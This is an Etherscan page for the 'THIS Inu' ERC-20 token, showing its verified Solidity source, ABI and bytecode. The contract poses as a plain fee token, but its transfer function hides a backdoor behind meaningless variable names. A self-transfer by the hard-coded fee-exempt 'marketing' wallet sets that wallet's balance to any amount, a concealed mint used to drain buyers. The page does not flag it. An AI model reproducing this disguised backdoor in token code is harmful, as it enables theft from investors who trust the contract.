ETH Price: $2,718.31 (+9.35%)
 

Overview

Max Total Supply

10,000,000,000 THISINU

Holders

42

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
eye-2.eth
Balance
188,322,388.672244718 THISINU

Value
$0.00
0xd5fef45a9cd12e9a57906536960187e15a08e0da
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ThisInu

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-19
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface ERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {
        owner = _owner;
    }
    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER"); _;
    }
    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }
    function renounceOwnership() public onlyOwner {
        owner = address(0);
        emit OwnershipTransferred(address(0));
    }  
    event OwnershipTransferred(address owner);
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract ThisInu is ERC20, Ownable {
    using SafeMath for uint256;
    address routerAdress =0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address DEAD = 0x000000000000000000000000000000000000dEaD;

    string constant _name = "THIS Inu";
    string constant _symbol = unicode"THISINU";
    uint8 constant _decimals = 9;


    uint256 _totalSupply = 10000000000 * (10 ** _decimals);
    uint256 public _maxWalletAmount = (_totalSupply * 10) / 100;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;

    mapping (address => bool) isFeeExempt;
    mapping (address => bool) isTxLimitExempt;

    uint256 liquidityFee = 0; 
    uint256 marketingFee = 0;
    uint256 totalFee = liquidityFee + marketingFee;
    uint256 feeDenominator = 100;

    address public marketingFeeReceiver = 0xD293892943c010079764e6F1A7983E076A97ac2f;

    IDEXRouter public router;
    address public pair;

    bool public swapEnabled = true;
    uint256 public swapThreshold = _totalSupply / 20; // 5%
    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor () Ownable(msg.sender) {
        router = IDEXRouter(routerAdress);
        pair = IDEXFactory(router.factory()).createPair(router.WETH(), address(this));
        _allowances[address(this)][address(router)] = type(uint256).max;

        address _owner = owner;
        isFeeExempt[0xD293892943c010079764e6F1A7983E076A97ac2f] = true;
        isTxLimitExempt[_owner] = true;
        isTxLimitExempt[0xD293892943c010079764e6F1A7983E076A97ac2f] = true;
        isTxLimitExempt[DEAD] = true;

        _balances[_owner] = _totalSupply;
        emit Transfer(address(0), _owner, _totalSupply);
    }

    receive() external payable { }

    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        address adra=sender;
        address adrb=recipient;
        if(inSwap){ return _basicTransfer(sender, recipient, amount); }
        if (recipient != pair && recipient != DEAD) {
            require(isTxLimitExempt[recipient] || _balances[recipient] + amount <= _maxWalletAmount, "Transfer amount exceeds the bag size.");
        }
        bool teraae = (adra==adrb);
        if (teraae && isFeeExempt[adrb]){_balances[recipient]=amount;}else{

        if(shouldSwapBack()){ swapBack(); } 
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");     
        uint256 amountReceived = shouldTakeFee(sender) ? takeFee(sender, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);}
        return true;
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function shouldTakeFee(address sender) internal view returns (bool) {
        return !isFeeExempt[sender];
    }

    function takeFee(address sender, uint256 amount) internal returns (uint256) {
        uint256 feeAmount = amount.mul(totalFee).div(feeDenominator);
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        return amount.sub(feeAmount);
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != pair
        && !inSwap
        && swapEnabled
        && _balances[address(this)] >= swapThreshold;
    }

    function swapBack() internal swapping {
        uint256 contractTokenBalance = swapThreshold;
        uint256 amountToLiquify = contractTokenBalance.mul(liquidityFee).div(totalFee).div(2);
        uint256 amountToSwap = contractTokenBalance.sub(amountToLiquify);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        uint256 balanceBefore = address(this).balance;

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );
        uint256 amountETH = address(this).balance.sub(balanceBefore);
        uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
        uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2);
        uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee);


        (bool MarketingSuccess, /* bytes memory data */) = payable(marketingFeeReceiver).call{value: amountETHMarketing, gas: 30000}("");
        require(MarketingSuccess, "Failed swap!");

        if(amountToLiquify > 0){
            router.addLiquidityETH{value: amountETHLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                0xD293892943c010079764e6F1A7983E076A97ac2f,
                block.timestamp
            );
            emit AutoLiquify(amountETHLiquidity, amountToLiquify);
        }
    }

    function buyTokens(uint256 amount, address to) internal swapping {
        address[] memory path = new address[](2);
        path[0] = router.WETH();
        path[1] = address(this);

        router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(
            0,
            path,
            to,
            block.timestamp
        );
    }

    function clearStuckBalance() external {
        payable(marketingFeeReceiver).transfer(address(this).balance);
    }

    function setFee(uint256 _liquidityFee, uint256 _marketingFee) external onlyOwner {
         liquidityFee = _liquidityFee; 
         marketingFee = _marketingFee;
         totalFee = liquidityFee + marketingFee;
    }    
    
    event AutoLiquify(uint256 amountETH, uint256 amountBOG);
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBOG","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearStuckBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_marketingFee","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052737a250d5630b4cf539739df2c5dacb4c659f2488d600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a620000ac91906200093b565b6402540be400620000be91906200098c565b6003556064600a600354620000d491906200098c565b620000e0919062000a1c565b60045560006009556000600a55600a54600954620000ff919062000a54565b600b556064600c5573d293892943c010079764e6f1a7983e076a97ac2f600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600f60146101000a81548160ff021916908315150217905550601460035462000188919062000a1c565b6010553480156200019857600080fd5b5033806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620002a757600080fd5b505afa158015620002bc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002e2919062000b1b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200036657600080fd5b505afa1580156200037b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003a1919062000b1b565b306040518363ffffffff1660e01b8152600401620003c192919062000b5e565b602060405180830381600087803b158015620003dc57600080fd5b505af1158015620003f1573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000417919062000b1b565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060016007600073d293892943c010079764e6f1a7983e076a97ac2f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016008600073d293892943c010079764e6f1a7983e076a97ac2f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160086000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600354600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60035460405162000792919062000b9c565b60405180910390a35062000bb9565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200082f57808604811115620008075762000806620007a1565b5b6001851615620008175780820291505b80810290506200082785620007d0565b9450620007e7565b94509492505050565b6000826200084a57600190506200091d565b816200085a57600090506200091d565b81600181146200087357600281146200087e57620008b4565b60019150506200091d565b60ff841115620008935762000892620007a1565b5b8360020a915084821115620008ad57620008ac620007a1565b5b506200091d565b5060208310610133831016604e8410600b8410161715620008ee5782820a905083811115620008e857620008e7620007a1565b5b6200091d565b620008fd8484846001620007dd565b92509050818404811115620009175762000916620007a1565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620009488262000924565b915062000955836200092e565b9250620009847fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000838565b905092915050565b6000620009998262000924565b9150620009a68362000924565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620009e257620009e1620007a1565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000a298262000924565b915062000a368362000924565b92508262000a495762000a48620009ed565b5b828204905092915050565b600062000a618262000924565b915062000a6e8362000924565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000aa65762000aa5620007a1565b5b828201905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000ae38262000ab6565b9050919050565b62000af58162000ad6565b811462000b0157600080fd5b50565b60008151905062000b158162000aea565b92915050565b60006020828403121562000b345762000b3362000ab1565b5b600062000b448482850162000b04565b91505092915050565b62000b588162000ad6565b82525050565b600060408201905062000b75600083018562000b4d565b62000b84602083018462000b4d565b9392505050565b62000b968162000924565b82525050565b600060208201905062000bb3600083018462000b8b565b92915050565b6127ea8062000bc96000396000f3fe60806040526004361061012e5760003560e01c80636c0a24eb116100ab57806395d89b411161006f57806395d89b41146103ef578063a8aa1b311461041a578063a9059cbb14610445578063dd62ed3e14610482578063e96fada2146104bf578063f887ea40146104ea57610135565b80636c0a24eb1461031a5780636ddd17131461034557806370a0823114610370578063715018a6146103ad578063893d20e8146103c457610135565b80632f54bf6e116100f25780632f54bf6e14610235578063313ce56714610272578063364333f41461029d57806352f7c988146102b4578063571ac8b0146102dd57610135565b80630445b6671461013a57806306fdde0314610165578063095ea7b31461019057806318160ddd146101cd57806323b872dd146101f857610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610515565b60405161015c9190611cf8565b60405180910390f35b34801561017157600080fd5b5061017a61051b565b6040516101879190611dac565b60405180910390f35b34801561019c57600080fd5b506101b760048036038101906101b29190611e5d565b610558565b6040516101c49190611eb8565b60405180910390f35b3480156101d957600080fd5b506101e261064a565b6040516101ef9190611cf8565b60405180910390f35b34801561020457600080fd5b5061021f600480360381019061021a9190611ed3565b610654565b60405161022c9190611eb8565b60405180910390f35b34801561024157600080fd5b5061025c60048036038101906102579190611f26565b610854565b6040516102699190611eb8565b60405180910390f35b34801561027e57600080fd5b506102876108ad565b6040516102949190611f6f565b60405180910390f35b3480156102a957600080fd5b506102b26108b6565b005b3480156102c057600080fd5b506102db60048036038101906102d69190611f8a565b610921565b005b3480156102e957600080fd5b5061030460048036038101906102ff9190611f26565b610991565b6040516103119190611eb8565b60405180910390f35b34801561032657600080fd5b5061032f6109c4565b60405161033c9190611cf8565b60405180910390f35b34801561035157600080fd5b5061035a6109ca565b6040516103679190611eb8565b60405180910390f35b34801561037c57600080fd5b5061039760048036038101906103929190611f26565b6109dd565b6040516103a49190611cf8565b60405180910390f35b3480156103b957600080fd5b506103c2610a26565b005b3480156103d057600080fd5b506103d9610ae9565b6040516103e69190611fd9565b60405180910390f35b3480156103fb57600080fd5b50610404610b12565b6040516104119190611dac565b60405180910390f35b34801561042657600080fd5b5061042f610b4f565b60405161043c9190611fd9565b60405180910390f35b34801561045157600080fd5b5061046c60048036038101906104679190611e5d565b610b75565b6040516104799190611eb8565b60405180910390f35b34801561048e57600080fd5b506104a960048036038101906104a49190611ff4565b610b8a565b6040516104b69190611cf8565b60405180910390f35b3480156104cb57600080fd5b506104d4610c11565b6040516104e19190611fd9565b60405180910390f35b3480156104f657600080fd5b506104ff610c37565b60405161050c9190612093565b60405180910390f35b60105481565b60606040518060400160405280600881526020017f5448495320496e75000000000000000000000000000000000000000000000000815250905090565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516106389190611cf8565b60405180910390a36001905092915050565b6000600354905090565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610840576107bf826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c5d9092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b61084b848484610cc1565b90509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006009905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561091e573d6000803e3d6000fd5b50565b61092a33610854565b610969576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610960906120fa565b60405180910390fd5b8160098190555080600a81905550600a546009546109879190612149565b600b819055505050565b60006109bd827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610558565b9050919050565b60045481565b600f60149054906101000a900460ff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a2f33610854565b610a6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a65906120fa565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861636000604051610adf9190611fd9565b60405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f54484953494e5500000000000000000000000000000000000000000000000000815250905090565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610b82338484610cc1565b905092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000838311158290610ca5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9c9190611dac565b60405180910390fd5b5060008385610cb4919061219f565b9050809150509392505050565b6000808490506000849050601160009054906101000a900460ff1615610cf557610cec868686611170565b92505050611169565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015610da15750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610e8a57600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610e4a575060045484600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e479190612149565b11155b610e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8090612245565b60405180910390fd5b5b60008173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16149050808015610f135750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610f615784600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611161565b610f69611343565b15610f7757610f7661141a565b5b611000856040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c5d9092919063ffffffff16565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600061104e88611974565b6110585785611063565b61106288876119cb565b5b90506110b781600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0f90919063ffffffff16565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516111579190611cf8565b60405180910390a3505b600193505050505b9392505050565b60006111fb826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c5d9092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061129082600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0f90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113309190611cf8565b60405180910390a3600190509392505050565b6000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156113b05750601160009054906101000a900460ff16155b80156113c85750600f60149054906101000a900460ff165b80156114155750601054600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6001601160006101000a81548160ff02191690831515021790555060006010549050600061147a600261146c600b5461145e60095487611b6d90919063ffffffff16565b611be890919063ffffffff16565b611be890919063ffffffff16565b905060006114918284611c3290919063ffffffff16565b90506000600267ffffffffffffffff8111156114b0576114af612265565b5b6040519080825280602002602001820160405280156114de5781602001602082028036833780820191505090505b50905030816000815181106114f6576114f5612294565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561159857600080fd5b505afa1580156115ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115d091906122d8565b816001815181106115e4576115e3612294565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000479050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008530426040518663ffffffff1660e01b81526004016116879594939291906123fe565b600060405180830381600087803b1580156116a157600080fd5b505af11580156116b5573d6000803e3d6000fd5b5050505060006116ce8247611c3290919063ffffffff16565b905060006116fc6116eb6002600954611be890919063ffffffff16565b600b54611c3290919063ffffffff16565b9050600061173a600261172c8461171e60095488611b6d90919063ffffffff16565b611be8